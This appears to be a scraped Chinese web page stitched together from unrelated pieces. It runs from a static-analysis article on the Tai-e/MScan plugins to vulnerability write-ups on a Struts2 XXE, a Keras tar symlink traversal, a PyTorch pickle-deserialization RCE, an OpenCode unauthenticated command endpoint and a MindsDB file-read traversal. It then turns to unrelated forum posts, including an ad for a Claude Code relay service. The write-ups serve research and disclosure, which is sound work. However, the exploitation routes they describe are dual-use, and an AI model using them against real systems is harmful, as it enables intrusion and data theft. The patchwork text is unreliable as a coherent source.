Intro Tai-e作为一个优秀的静态分析框架,内置了指针分析、污点分析等等实现。为增强其作为一个底座框架的可扩展性,其提供了插件系统,通过插件系统可以控制在静态分析过程中的各个阶段的数据处理,更进一步的进行定制化分析的实现。如下图为Tai-e官方提供的有关于插件系统的原理图:

image.png

本文中提及的有关于微服务应用的静态分析框架MScan同样是基于Tai-e进行实现的,针对微服务应用中使用的一些特殊的API进行服务间的高速通信过程,传统的静态分析方式不能够原生支持该类服务间通信的污点流的传播,但是这里采用了上面介绍了插件系统的方式,为服务间的通信过程进行建模,定制化的支持该过程的数据流分析,例如是Grpc、Dubbo或者Feign等通信方式。 具体的分析因篇幅太长分为了上下两篇,上篇主要集中于理论层面的代码分析,剖析基于Tai-e框架的改造细节,明晰从source点提取到扩展的污点分析引擎工作原理的全流程。而下篇主要集中于实战层面的内容,在剖析微服务应用各服务间的通信建模方式,也即如何构建一个SDG(Service Dependence Graph),同时贴近实战批量拉取github\gitee高star项目进行自动化 clone-complie-scan全流程。 DistancePruning 该类的实现对应着论文中提及到的基于距离引导的上下文选择策略,但是感觉具体对其的实现还是和论文中的描述存在出入,后面具体分析其实现

options.yml中若对advance进行配置,将会使用特定的上下文选择器,这里的动态上下文选择策略的实现和核心逻辑在DistancePruning#run,核心是三个原则 1 对于一个方法,其能够调用到某一个sink点方法且能够被某一个source点方法调用到(不局限于单次调用,只要在调用图上能找到一个调用链即可),对于这样的方法,将其csMap的值设为MAX,也即是这样的方法采用最大的上下文进行分析 2 对于仅仅能够形成调用链到sink点方法,但不能够某个source点方法调用的方法,这样的方法,将其csMap的值设为固定的2,在分析时采用2-call的方法进行上下文的选择 3 而对于上述两种情况都不满足的情况,则直接将其上下文选择为MIN,采用最小的上下文 总的来说,虽然与论文中提出的基于一个方法到达最近的source-sink链的距离进行上下文的选择有所出路,但是这里的上下文选择方法也是基于一个context-insensitivity的分析结果,所以对于可能的source-to-sink调用链长度进行最大上下文的选择也一种有效的避免假阳性的方法

与此同时,注意到在Pruning类也存在有两种上下文选择的思路 1 csMapByTaintNum方法,基于一种成本控制的思路进行上下文的选择,首先通过流式处理,从指针分析结果(pta)的调用图中获取所有可到达的方法(reachableMethods),对于每个方法,计算其参数中属于“污点”(Taint)的数量。然后过滤掉污点参数数为0的方法,并将剩余方法按污点参数数从高到低排序。确保了那些更可能涉及敏感数据流的方法会被优先考虑 总的来说,上下文的大小是由一个动态的分析成本预算控制的。它优先处理污点参数多的方法,但同时严格限制方法的分析成本总和不超过上限(硬件条件)。这种设计巧妙地在分析广度(覆盖更多方法)和深度(分析复杂方法)之间取得了平衡,防止资源消耗无限增长

对于每个方法,只有当累计成本 count小于阈值(1e5)时,才会将其加入 csMap并标记为 "5",同时计数器 count5增1 如果方法非抽象,则计算其分析成本:变量数 * (调用者数量)^4,并将此成本累加到 count 一旦 count的值达到或超过 1e5,循环便会停止,后续方法不再被加入 csMap 2 csMapByTaintFlow方法,这个方法猜测是想基于通过上下文不敏感的静态分析结果得到的TaintFlow进行上下文的动态选择,但是感觉后面可能烂尾了,没有实现完

SDG (Service Dependence Graph) OpenFeignPlugin 该插件核心是用来建立通过Feign方式进行跨服务调用的调用边,用于构建SDG (Service Dependence Graph) 对于该插件同样是实现了标准的Plugin接口,其实现了onStart方法以及onNewCSMethod方法用于在程序分析前进行处理以及在遭遇新的方法时进行处理 对于onstart主要是在静态分析前对FeignClient进行处理,获取所有的feign类型的路由以及实现类,保存在mappingEdges

而对于onNewCSMethod实现了一个访问者模式,遍历遇到的所有新方法的所有Stmt,如何遇到函数调用的Stmt则会考虑其是否是一个invokeInterface类型的调用,也即是是否调用的是实现的接口的方法,这里是用来处理Feign这种方式进行跨服务通信的机制,根据feignClient类的类签名从mappingEdges获取所有的实现方法,并通过addCallEdge为这个调用过程建立一个调用边

GrpcPlugin 这个插件所起的作用和OpenFeignPlugin类似,均是用来处理微服务中的各个service间的调用关系 前者是用来处理Feign这种调用方式,这里的插件是用来处理通过Grpc这种方式进行调用的方式 对于onStart方法,其主要是用于构建invoke-callee的映射,也即是调用关系,Grpc服务端以及客户端stub的实现分别是实现了io.grpc.BindableService或者io.grpc.stub.AbstractStub 1 通过获取所有自己实现的io.grpc.BindableService类,将其有参类方法存储在serviceMethod,作为对位提供的grpc方法 2 筛选所有Grpc客户端的实现方法,通过审查所有的invoke函数调用,若被调用的函数所在类属于io.grpc.stub.AbstractStub实现,则认为其是一个客户端stub,获取这个远程调用方法的第一个参数变量,构建了一个var-invoke的映射,同时如果该方法能够在grpc服务端实现的可调用方法中找到的话,会构建一个从客户端调用点到被具体调用的方法的一个映射invoke2calleeMap

onNewCSMethod同样是在基于访问者模式构建一个跨服务调用的关系 1 对于所有跨服务调用点,在PFG (Pointer Flow Graph)上构建一个被调用方法参数传递的边,同时构建一个调用边 2 处理在微服务中采用guice这种轻量级的依赖注入组件,通过寻找其实现类的方式直接通过addPointsTo建立联系

RestTemplatePlugin 该插件用来处理使用RestTemplate进行各服务间通信的调用关系 1 最开始通过筛选exchange函数的调用点,构建var2InvokeMap用来映射exchange的传参以及调用点 2 在指针集发生变化时,通过var2InvokeMap中var所对应的指针集去获取想要请求的URI是什么,并保存在targetString

3 遍历上面收集的targetString,与GatewaySourcePlugin插件中识别到的endpoint的路由做比对,如果存在匹配成功的情况,将会构建一个从exchange函数调用点到对应路由提供者方法的一个调用边,并通过addPFGEdge将传入的参数进行跨服务传递

DubboPlugin dubbo作为一个RPC服务开发框架,同样提供一种在微服务架构中进行不同服务通信的方式,这里的DubboPlugin也即是对其进行支持,构建dubbo场景下的服务依赖图 在静态分析前基于注解进行dubbo服务端的识别

在指针分析过程中实时筛选所有的函数调用过程,如果存在调用了dubbo服务的函数,则建立此调用点到dobbo服务中定义的目标函数的调用边

KafkaPlugin 该插件用来处理在微服务框架中采用kafka进行服务间通信的方式 首先在进行静态分析之前,onStart方法中,从ApplicationClass中获取被KafkaListener注解的消费者方法,并以topic-method的映射保存在kafkaListeners中。同时从获取到生产者方法保存在kafkaSendMethods

其次是在onNewStmt事件触发时,判断是否是调用的生产者方法,若是的话,构建生产者方法的第一个参数,也就是topic和方法调用的一个映射

最后则是在指针集发生变化是触发的onNewPointsToSet事件中,判断是否topic对应的指向出现变化,遍历获取其指代的所有topic后在kafkaListeners寻找是否存在有消费该topic的消费者方法,若存在,将会通过addPFGEdge构建一个从生产者方法生产的消息内容到消费者方法消费的消息内容的指向边,以及通过addCallEdge构建一个从生产者方法到消费者方法的调用边

RabbitMQPlugin 该插件和kafka处理的对象都是消息队列的跨服务通信的依赖构建,且都是采用消息队列的方式,实现逻辑也类似 1 将消费者的监听队列以及处理时间方法映射保存在rabbitmqListeners中,以及将生产者的消息发送方法保存在rabbitmqSendMethods

2 构建消息发送函数调用同exchangeroute key的映射关系,同时构建消息处理函数调用同queue, exchange, route key的映射关系

3 类似的,最后就是根据route key以及exchange去匹配对应的消费者方法,同时构建从发送者方法所发送消息到消费者方法所消费消息的pointer edge,以及构建在消息发送点到消息处理点的call edge

Full progress 对于tai-e的整个流程大致可以分为以下的过程 1 进行静态分析前的准备工作,包括有指定appClassPath以及ClassPath 而对于这里的Mscan,包括有以下几点: 将配置文件中的Config.classpathKeywords添加到classpathKeywords 将前面Jar parser中提取到到的${targetPath}/BOOT-INF/classes中的类添加到appClassPath Jar parser提取到的${targetPath}/BOOT-INF/lib中的jar包添加到classPath

2 通过options中的配置去生成对应的plan文件

3 调用Soot对所有的类进行解析,包括有BOOT-INF/classes以及BOOT-INF/lib中的类,核心是使用了SootWorldBuilder#build方法进行处理

4 执行前面生成的analysis plan,对于pta,则使用对应的配置调用PointerAnalysis#analyze进行分析 a 首先是构建一个Heap abstraction,用来将动态时无限的对象抽象为有限,通常选用为Allocation-Site这一抽象方式 b 其次则是构建ContextSelector,优先使用advanced中的配置,若没有配置advanced,则根据makePlainSelector去正常获取上下文选择器,支持有以下context selector variant

ci: context-insensitive analysis k-obj/call/type c 在构建了heap abstraction以及context selector后调用runAnalysis进入指针分析逻辑

d 在核心的指针分析逻辑中,其主要是根据heapModel以及selector构建一个Solver对象,通过其中的solve方法进行分析 值得注意的是,tai-e设计中存在有一个扩展性极强的插件系统,详情可见https://tai-e.pascal-lab.net/docs/current/reference/en/index-single.html#analysis-plugin-system

e 对于solve方法,其实现了指针分析算法

f 其中算法的伪代码中的添加入口点以及addReachableDafaultSolver#initialize方法实现,其首先对一些全局变量进行了初始化,核心是通过插件系统的onStart方法调用去实现,依靠插件系统可以实现在整个程序分析的生命周期中的各个环节的实时计算,这里通过onStart方法调用,一方面对装载的各个插件进行初始化,另一方面对算法中的addEntry以及addReachable进行实现

g 而对于solve方法的第二部分,也即是analyze则对应于伪代码中的work list的处理过程,核心是对于work list中的各个元素,首先判断其指针集是否存在变化,若存在变化则处理对应的store以及load操作

1 对于指针分析的分析结果其通过构建一个PointerAnalysisResultImpl对象,存储了调用图,指针流图,指针集等丰富的信息,且最终的分析结果根据analysis-id的对应关系保存在了World

Real world 上述内容主要是对静态分析框架的整个框架的原理以及代码实现进行了阐述,下面基于上面的静态分析框架为基座,构建了一个clone-complie-scan全流程的自动化漏洞检测闭环 clone 首先是clone环节,对于目标项目的选择,我们采用github以及gitee平台提供的筛选的功能对高star的Java项目进行初步筛选,后续得益于LLM的理解能力,通过LLM对初筛的项目文档进行理解对项目进行分类,具体可以从两个角度进行分类 1使用maven进行项目编译还是gradle进行项目编译:通过识别项目的编译方式以便于下一步的自动化编译过程 2项目所具备的特征:例如是一个微服务项目或者电商项目,通过这样的方法对业务进行分类 同时,在收集的过程中,也不单单局限于仅对微服务相关项目进行收集,可对全部的基于Java开发的项目进行收集进行批量检测

image.png

如上图所示,则是收集的一些Java项目的样例,通过yml文件的方式将待检测项目进行归类 之后分别提取每一个项目的URL,通过调用系统命令 git clone的方法将项目克隆到本地

compile 而对于编译阶段,核心是对上一阶段克隆的项目进行编译处理,能够将项目打包成一个一个完成的jar包,以便于收集这些项目包使用静态分析工具进行漏洞检测任务。 通过前面项目收集过程中标注的该项目所采用的项目是基于Maven还是Gradle进行开发的,我们选择不同的系统命令进行Java项目的编译

经过我的全过程的测试,值得注意的是,在进行项目编译的过程中不仅仅需要动态的选择不同的编译命令进行Java项目的编译,在编译过程中其核心会使用 JAVA_HOME这一环境变量所指向的JDK版本环境参与项目的编译过程,千人千面,不同的Java项目所能够支持的最低JDK版本不同,这里需要进行尝试性编译,也即是动态的调整JDK版本,按照从高到低的JDK版本对项目进行自动化编译,能够明显的降低仅采用同一种JDK版本进行编译而导致的编译失败几率。 在编译成功后会在对应目录中生成打包的Jar包,Maven项目默认的编译目录为 target,而Gradle项目默认的编译目录为 build

image.png

scan 上一阶段仅仅是对克隆的项目进行了编译、打包Jar任务,对于多模块开发的Java项目,其生成的Jar包散落在各个文件夹下的 target目录中,以便于静态工具进行扫描,我们首先需要将编译成功的Jars包进行收集整理到一起

通过上述代码可以根据规则提取生成的jar包

image.png

而对于核心的扫描任务,我们首先对Mscan进行改造,使得将其打包后可以动态的修改options.yml文件以便于指定待检测项目以及检测过程中产生文件的保存位置

通过以上代码能够对所有编译成功的项目执行静态分析任务 其检测结果保存在每一个项目名文件夹下的 microservice-taint-flows.txt文件中

image.png

对于不存在Taint通路的项目其内容为空,在大量项目中筛选存在有通路的可以使用以下脚本输出可能存在漏洞的项目

对于最终的检测结果也算是有所收获

image.png

Conclusion 上文对Mscan针对微服务应用这一特定应用进行了建模,针对微服务应用中的各个服务间通过OpenFeign、Grpc、Kafka以及RabbitMQ等框架进行通信的方式构建了一个服务依赖图,用于表征数据流的传递路径,进一步的进行污点传播进行外部可控的Web漏洞检测。通过对类似于OpenFeign等框架的通信机制的分析,使用Tai-e插件系统提供的生命周期API构建调用边,对于一些其他未使用这类框架进行服务间通信的微服务应用可以采用类似的方式扩展的构建调用边以便于支持其漏洞检测任务。同时也对静态分析框架在完整流程的重要阶段过程进行了阐述,也即是Soot程序分析,以及指针分析算法的实现。最后也是基于静态分析框架为核心构建了一个 clone-compile-scan全流程的workflow。

1漏洞描述 看到微步等厂商发了 Struts2 S2-069 的通告

image.png

2漏洞分析 补丁里设置了禁用外部实体解析

image.png

查看该 DomHelper.parse() 方法,直接使用了默认javax.xml.parsers.SAXParserFactory,典型的xxe

Plain Text

复制代码
public static Document parse(InputSource inputSource) {
return parse(inputSource, null);
}
parse(InputSource inputSource, Map<String, String> dtdMappings) {
SAXParserFactory factory = null;
String parserProp = System.getProperty("xwork.saxParserFactory");
if (parserProp != null) {
try {
ObjectFactory objectFactory = ActionContext.getContext().getContainer().getInstance(ObjectFactory.class);
Class clazz = objectFactory.getClassInstance(parserProp);
factory = (SAXParserFactory) clazz.newInstance();
} catch (Exception e) {
LOG.error("Unable to load saxParserFactory set by system property 'xwork.saxParserFactory': {}", parserProp, e);
}
}

if (factory == null) {
factory = SAXParserFactory.newInstance(); // 使用默认 SAXParserFactory
}

factory.setValidating((dtdMappings != null));
factory.setNamespaceAware(true);

SAXParser parser;
try {
parser = factory.newSAXParser();
} catch (Exception ex) {
throw new StrutsException("Unable to create SAX parser", ex);
}
DOMBuilder builder = new DOMBuilder();

// Enhance the sax stream with location information
ContentHandler locationHandler = new LocationAttributes.Pipe(builder);
try {
parser.parse(inputSource, new StartHandler(locationHandler, dtdMappings));
} catch (Exception ex) {
throw new StrutsException(ex);
}
return builder.getDocument();
}

3环境搭建 创建一个XXEActin 调用 com.opensymphony.xwork2.util.DomHelper.parse 解析传入的 xml 即可

4漏洞复现

image.png

5影响范围 struts 框架默认不受影响,com.opensymphony.xwork2.util 只是一个工具类,DomHelper.parse 需要开发者显式调用,因此影响范围较小 6参考链接 https://issues.apache.org/jira/browse/WW-5252 https://github.com/apache/struts/commit/6658c6360e771a793ab261e5b4d3ed9dfb6720d3#diff-fbc632eaf4a09c1feac83796f72802d9e332dbb680473b1c6f3add6ad8946495R105

Keras 价值 750$的目录穿越漏洞 漏洞描述 Keras 的 keras.utils.get_file() 函数在解压缩下载的 tar 归档文件时存在目录遍历漏洞。尽管该函数实现了 filter_safe_paths() 来过滤不安全的路径,但该过滤函数存在逻辑缺陷,允许创建指向父目录 (..) 的符号链接。攻击者可构造恶意归档文件,在解压后创建指向预期目录之外的符号链接,从而可能访问或修改外部文件。

Keras 是啥 https://github.com/keras-team/keras

Keras 3 是一个多后端深度学习框架,支持 JAX、TensorFlow、PyTorch 和 OpenVINO(仅用于推理)。轻松构建和训练计算机视觉、自然语言处理、音频处理、时间序列预测、推荐系统等模型。 加速模型开发 :借助 Kera 的高级用户体验和如 PyTorch 或 JAX 等易于调试的运行时,更快交付深度学习解决方案。
最先进的性能 :通过选择最适合你模型架构的后端(通常是 JAX!),相比其他框架,实现 20%到 350%的加速。这里是基准测试。
数据中心级培训 :自信地从笔记本电脑扩展到大型 GPU 或 TPU 集群。
加入近三百万开发者行列,从初创企业到全球企业,共同利用 Keras 3 的力量。
环境搭建 测试环境

组件
版本
操作系统
Linux (Docker 容器)
Python
3.11.14
Keras
3.11.2

Docker 运行环境

源码获取

漏洞复现 PoC 代码

复现结果

然后我们来验证 两种方法,我们验证和执行一起

结果

验证成功 或者我们直接通过符号链接访问外部文件

漏洞分析 数据流分析

代码分析 文件位置: keras/src/utils/file_utils.py

关键函数

代码结构分析

函数
作用
resolve_path()
规范化路径,对已存在的符号链接会解析
is_path_in_dir()
检查路径是否在 base_dir 内
is_link_in_dir()
检查符号链接目标是否在安全范围内
filter_safe_paths()
过滤不安全的文件,yield 安全的 TarInfo

2. filter_safe_paths() 的执行流程

我们看这个流程

filter_safe_paths() 先检查路径名,后检查符号链接 符号链接的路径名 subdir/link_to_parent 是安全的 符号链接的指向目标 .. 应该被 is_link_in_dir() 检查 elif 分支永远不会执行,目标未被检查

3. resolve_path() 的关键行为 关键问题就是 os.path.realpath() 对不存在的路径不会解析符号链接

打了个解压差异 检查时路径不存在,resolve_path() 返回路径本身 "/app/subdir/link_to_parent".startswith("/app") = True 检查通过,符号链接被创建

4. extractall() 执行解压 代码

分析 符号链接 link_to_parent 被成功创建 指向父目录 ..,可以访问解压目录外的文件

目录穿越原理 梳理后就是这样

所以 POC 是这样的

符号链接的路径名 subdir/link_to_parent 在解压目录 /app/cache_123/ 内 ✓ 符号链接的指向目标 .. 解析后是 /app/ 任何遍历解压目录的代码都可能通过 link_to_parent 访问 /app/ 下的文件

漏洞修复 官方修复方案 Keras 3.13.0 修复内容: 1 调整检查顺序: 符号链接检查优先于普通文件检查 2 添加 filter 参数: 在 Python 3.12-3.13 版本中使用 filter="data" 3 重命名函数: filter_safe_pathsfilter_safe_tarinfos,逻辑改进 **Keras 3.11.2 - `keras/src/utils/file_utils.py:

**Keras 3.13.0 - keras/src/utils/file_utils.py:

如果理解了漏洞原理,就能明白为什么这样就能够修复我们的漏洞呢? 我们再次来看看这个流程

看完这个流程,就很清楚了 添加 filter="data" 支持 - `keras/src/utils/file_utils.py:

参考资料 1Python tarfile 安全警告 2CWE-22: Improper Limitation of a Pathname to a Restricted Directory 3Keras GitHub Repository 4Keras Release Notes 5Google Security Research: Tarfile Exploitation 6报告

免责声明 本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。 请勿将本文提供的信息用于任何非法目的 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞 使用本文信息造成的任何后果,由使用者自行承担

PyTorch 最新版本反序列化漏洞分析 前言 AI入门学习Transformers架构的时候,最忘不掉的无过于主播手把手教你用PyTorch手搓一个Transformers了,哈哈哈哈哈哈 一、漏洞描述 根本原因在于调用 torch.load 时使用了 weights_only=False,这启用了通过 pickle 模块进行的不安全反序列化,从而导致任意代码执行。torch.load 底层使用了 Python 的 pickle。当 weights_only=False 时,它会反序列化并重构文件中存储的任意 Python 对象。对来自不受信任或被篡改的检查点数据进行反序列化,会执行攻击者控制的代码,从而导致远程代码执行 (RCE)。 当加载 .pt2 归档文件时,torch.export.load() 遵循以下路径:它调用 load_pt2() 来枚举归档内容 → 进入 _load_exported_programs() → 然后调用 _load_constants()。如果归档中的任何常量被标记为 use_pickle=True 且其文件名以 tensor 开头,它就会执行 torch.load(io.BytesIO(constant_bytes), weights_only=False),从而触发 Python Pickle 反序列化。因此,如果 .pt2 文件包含恶意的 Pickle 常量,运行 torch.export.load() 可能会导致任意代码执行。 torch.export.load() 不允许配置 weights_only=True 参数。它总是执行 torch.load(io.BytesIO(constant_bytes), weights_only=False) —— 这个值是硬编码的。因此,加载恶意模型的用户不可避免地会面临被入侵的风险。

二、环境搭建 这个没有什么好搭建的,因为就是一个组件,下载最新版本的包就好了

三、漏洞分析 完整调用链追踪

漏洞代码分析 torch.export.load() 文件: torch/export/__init__.py

分析: 入口函数接收文件路径,调用 load_pt2() 加载 PT2 存档文件。

load_pt2() - 加载 PT2 存档 文件: torch/export/pt2_archive/_package.py

分析: load_pt2() 打开 PT2 存档文件,调用 _load_exported_programs() 处理模型文件。

_load_exported_programs() - 加载导出的程序 文件: torch/export/pt2_archive/_package.py

分析: _load_exported_programs() 遍历模型文件,调用 _load_constants() 加载常量数据。

_load_constants() - 加载常量(漏洞触发点) 文件: torch/export/pt2_archive/_package.py 这一步很关键,因为是有很多限制条件的

总结一下能够触发的条件 1path_name.startswith("tensor") 2payload_meta.use_pickle == True 3 weights_only=False 硬编码: 该值无法通过 torch.export.load() API 覆盖

torch.load() - Pickle 反序列化 文件: torch/serialization.py

weights_only=False 时,torch.load() 使用标准 pickle 反序列化,会触发对象的 __reduce__() 方法,导致任意代码执行。

四、漏洞复现 根据漏洞原理,步骤就是生成恶意文件和触发了 恶意模型生成脚本 文件: model.py

注意构造需要满足刚刚上面提到的条件

触发脚本 现在就是我们需要去触发了 文件: poc.py

然后我们查看文件

五、漏洞修复 由于最新版本还是存在这个漏洞,可能是正常功能需要????? 测试版本: PyTorch 2.11.0.dev20260110 六、参考资料

资源
链接
PyTorch 官方文档
CWE-502: 不安全的反序列化
Python Pickle 安全
赏金报告

OpenCode 未认证远程命令执行漏洞 前言 Opencode 最近也是很火,看着公众号天天都在推,结果一番,翻到了还有未授权命令执行漏洞,于是来分析分析 在github 已经是超过 66k star 了

漏洞描述 OpenCode 是一个开源的人工智能编码代理。在升级到版本 1.0.216 之前,OpenCode 会自动启动未经验证的 HTTP 服务器,允许任何本地进程(或通过允许 CORS 的任何网站)以用户的权限执行任意 shell 命令。这一漏洞已在版本 1.0.216 中得到修复。 环境搭建

git clone https://github.com/sst/opencode.git
cd opencode
git checkout v1.0.215

bun install

bun run dev

服务器默认监听 http://127.0.0.1:4096,无需任何认证即可访问 验证是否搭建成功

GET /global/health HTTP/1.1
Host: 127.0.0.1:4096
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none


漏洞复现 复现步骤 首先创建一个会话 我们不需要传入参数的,但是必须得有下面的 json

记录 id 就可以直接执行命令了,而且这个端点未授权

pty 路由的话利用方法还更多

利用脚本

漏洞分析 session 执行命令

server.ts - HTTP 服务器配置

.use(cors()) 配置了宽松的 CORS 策略,允许任何源访问而且整个应用中没有任何认证中间件导致所有端点都可以未授权访问 /session/:sessionID/shell 端点

SessionPrompt.shell

很直白 1 用户提供的 command 直接放入 args 2 使用 spawn(shell, args) 执行 3命令以 OpenCode 进程的用户权限运行 4输出返回给 /pty 命令执行 相比于 shell,更强大 API 端点列表:

创建 PTY:

WebSocket 交互源码:

如何利用在漏洞复现部分已经给出了 漏洞修复 还未修复,不过如果需要修复也很简单,加认证就好了,当然有人会有疑问,怎么可能有人把opencode部署在公网上,去fofa搜了,你别说,还真有

image.png

都能直接看到别人的项目 参考资料

资源
链接
漏洞公告
源码仓库

免责声明 本漏洞分析报告仅供安全研究和教育目的使用。请勿将此信息用于任何非法活动。

MindsDB 未授权任意文件读取漏洞详细分析 前言 可能分析组件多了吧,都准备下播了,看到 360 又发了一个 AI 数据库的漏洞

漏洞描述 MindsDB 是一个基于企业数据构建人工智能的平台。在 25.11.1 版本之前,文件上传 API 中的非认证路径遍历允许任何调用者从服务器文件系统读取任意文件并将其移入 MindsDB 存储,从而暴露敏感数据。file.py 中的 PUT 处理程序会直接将用户控制的数据加入文件系统路径,当请求主体是 JSON 且 source_type 不是“url”时。只有多部分上传和基于 URL 的上传会被净化;JSON 上传没有调用 clear_filename 或等效检查。该漏洞在 25.11.1 中修复。 环境搭建

git clone --depth 1 --branch v25.11.0 https://github.com/mindsdb/mindsdb.git vulnerable-25.11.0

搭建成功 漏洞复现 首先模拟创建一个敏感文件

然后我们开始目录穿越

看到回显,证明穿越的路径不够

现在成功把文件内容写进数据库了,然后就是读取的问题了 我们通过 sql 查询,把内容查出来 /api/files/aaa 路由后面的 aaa,就是我们的文件名称

成功读取到了文件内容

漏洞分析 文件上传 当然第一个查看的就是 file 文件 注意,这个文件我们可以分为两个部分分析,其中有两种文件上传,一个是 Multipart 格式,但是对路径穿越是有检查的

但是为什么还是漏洞呢?我们看到全部代码

这里可以看到,如果是 json 格式,也就是我们漏洞复现的 payload 模式,没有检查可以直接绕过 文件读取部分

文件读取后直接把内容移动到 MindsDB 中存储,所以我们读取文件,可以直接从数据库查询文件内容 绝对路径读取 但是我后来发现,都不需要目录穿越,直接绝对路径就可以成功,其实还是因为一个漏洞

我们写一个例子代码,就明白了

可以看到当我的第二个路径是绝对路径的时候,直接被覆盖掉了 所以我们完全可以绝对路径去读取信息 尝试一手再说

完全没有问题

一键利用脚本 注意,只能在本地环境复现,因为,每次读取文件后,都会把原文件删除,所以请在虚拟机复现或者创建临时文件

漏洞修复 修复方案 file.py 第 214 行之前添加路径验证:

参考资料

资源
链接
GitHub Advisory
MindsDB Release
MindsDB Repository

免责声明 本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。 请勿将本文提供的信息用于任何非法目的 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞 使用本文信息造成的任何后果,由使用者自行承担

稳定的 Claude Code 中转站上线了

https://hongmacc.com

上周发了个帖子,没想到热度这么高,考虑到还有些小伙伴没有看到,我们新开个帖子,活动继续。

之前的帖子 https://www.v2ex.com/t/1185599?p=9#reply821

我们不搞积分、不搞倍率,真 MAX20 号池

我们是 Claude Code 的重度用户,起初一直购买官方账号。但高昂的费用、跑路的平台,频繁的封号实在让人头大。为了对抗风控,我们尝试了各种办法,结果账号还是活不长久…… 后来我们转向中转平台,买过很多家的会员,本想省钱省事,结果却事与愿违: 频繁报错,一天挂 3 次,次次不一样的理由,把用户当猴耍

模型降级、后台偷偷加倍率、一天下来啥也没干直接耗完四五十刀… 不仅没省下钱,还浪费了大量时间。名为“中转”实为“骗局”!!

终于,我们忍无可忍,决定自己下场做中转。 经过几个月的试运行,现在已经可以非常稳定地给大家提服务了。 希望大家都能 opus 自由

为庆祝新站上线,我们决定给大家送福利了:

福利一:新用户注册,留言就送$10;

在评论区留下你在 hongmacc 账户的“身份 ID”; (控制台-账户设置-复制身份 ID )

另外,还可在平台内以 9.9 元购买$30 体验额度卡一次

福利二:评论区抽奖送月卡

奖品:每天抽取价值¥288 的月卡一张

结束时间:2026 年 01 月 15 日 - 2026 年 01 月 28 日

抽奖规则:回复本主题即可。将使用 v2 网友开发的 “V2ex 等概率抽奖程序”,从回复楼层中随机抽取。(会做去重复处理,刷楼无效)

上个帖子的小伙伴和本贴的小伙伴一起参与月卡抽奖

月卡抽奖记录:

#1 月 15 日抽奖
恭喜上个帖子 379 楼小伙伴 autwind 中奖
获得价值 288 月的月卡一份

#1 月 16 日抽奖
恭喜上个帖子 642 楼的兄弟 enchong 中奖了
获得价值 288 月的月卡一份

[庆祝]hello 大家 打扰发一个内推贴:

目前公司招聘 后端/安卓/IOS 开发
公司介绍:Traveloka 是东南亚领先的科技公司,总部位于新加坡,提供旅行、生活服务等综合平台,业务遍布多个国家。

岗位要求:
5 年以上软件工程经验,专注后端开发领域,精通 Go, Java, Python 中的至少一门语言
能深入后端服务开发,确保高效性、可扩展性和可维护性
具备设计可扩展、可维护架构的经验
持续学习热情(涵盖技术、产品及相关领域)
对产品和任务具有强烈责任感和主人翁意识

岗位待遇:薪资可媲美大厂,base*16 薪,公积金顶额交,补充医保
其他福利:午餐餐补,旅游津贴和运动健身补贴

工作地点:深圳/上海

✅️ 没有年龄歧视
✅️ 双休 朝九晚六不打卡
✅️ work life balance 不加班 15 年假起步,12 天带薪病假
✅️ 具备阅读与书面英文能力,能进行基本沟通

简历可发至: [email protected]

之前的帖子 这可能是下一个周经帖:国产大模型哪个编程能力最顶?已经过去一段时间,现在不少模型都已经更新了,而且都支持方便的接入 claude code 等 cli 工具或者 cursor 这样的 ide 。那么,在众多的国产模型中,从你的实际体验出发,哪个国产模型才是最佳日常编码的口粮模型呢?量大管饱,能处理大多数场景的需求。

来吧,分享一下你的体验!


GLM-4.7:目前收集到的信息是,测试的时候效果还不错,能跟 sonet 4.0 有来有回,coding plan 也比较便宜,但是超售严重,订阅后降智严重

MiniMax M2.1:也推出了自己的 coding plan ,总的来说反馈还是不错

DeepSeek-V3.2:写代码还是不太行,听说 4.0 很强!

kimi-for-coding:听说比较蠢,具体请反馈

Doubao-Seed-Code:最近新出,还得到了阮一峰推荐 https://www.ruanyifeng.com/blog/2025/11/doubao-seed-code.html

ColorOS 15 ,微信消息经常延迟 5 到 15 分钟,偶尔延迟好几个小时的情况也见过。还有别人打过来的微信视频也经常接不到。

别的程序也容易出现后台被杀,或权限被杀。比如 Tasker 的访问通知权限和无障碍权限经常隔一两天就没了,虽然在设置中看到这些权限的状态依然是开启的,但实际权限已经没了,需要重新开启才行。

能设置的都设置了:
1 、已完全允许后台
2 、已允许微信自启
3 、关闭了睡眠待机优化
4 、已在任务视图锁定微信

重塑传统自动化漏洞挖掘的Multi-Agent框架攻防一体化实践

前段时间在某大厂做安全研究时,针对SDLC的重复性审计工作结合大模型Agent思索了一些可行的思路,便在不断摸索中构建了一个Multi-Agent的协同漏洞挖掘框架系统,目前个人使用来看对于开源的web应用的实战效果相比传统的SAST、DAST以及纯LLM的漏洞挖掘工具来说还是很不错的,便记录此篇框架实现过程和当今Agent赋能漏挖的可行性与优势供师傅们交流指点....

0x00 传统漏洞挖掘的困局

当前针对Web应用后端的自动化漏洞挖掘技术主要受困于“覆盖率”与“准确性”难以两全的矛盾:

  • 传统的静态分析技术虽能提供全量的代码覆盖,但由于缺乏对程序运行时状态和复杂业务逻辑的语义理解,往往导致海量的误报噪声,极大地增加了安全工程师的审计成本
  • 而动态应用程序安全测试虽能在黑盒方面挖掘漏洞更具真实性,却受限于黑盒视角的路径探索能力,难以触及深层业务逻辑,会存在很多漏报
  • 目前大语言模型的出现为代码语义分析带来了新的契机,但受限于Context Window 的约束以及生成式模型固有的幻觉问题,直接依赖原生LLM进行大规模代码审计往往导致分析结果碎片化且缺乏可信度,并且直接将代码喂给大模型容易受与漏洞无关代码的影响

0x01 探索漏洞挖掘框架的新出路?

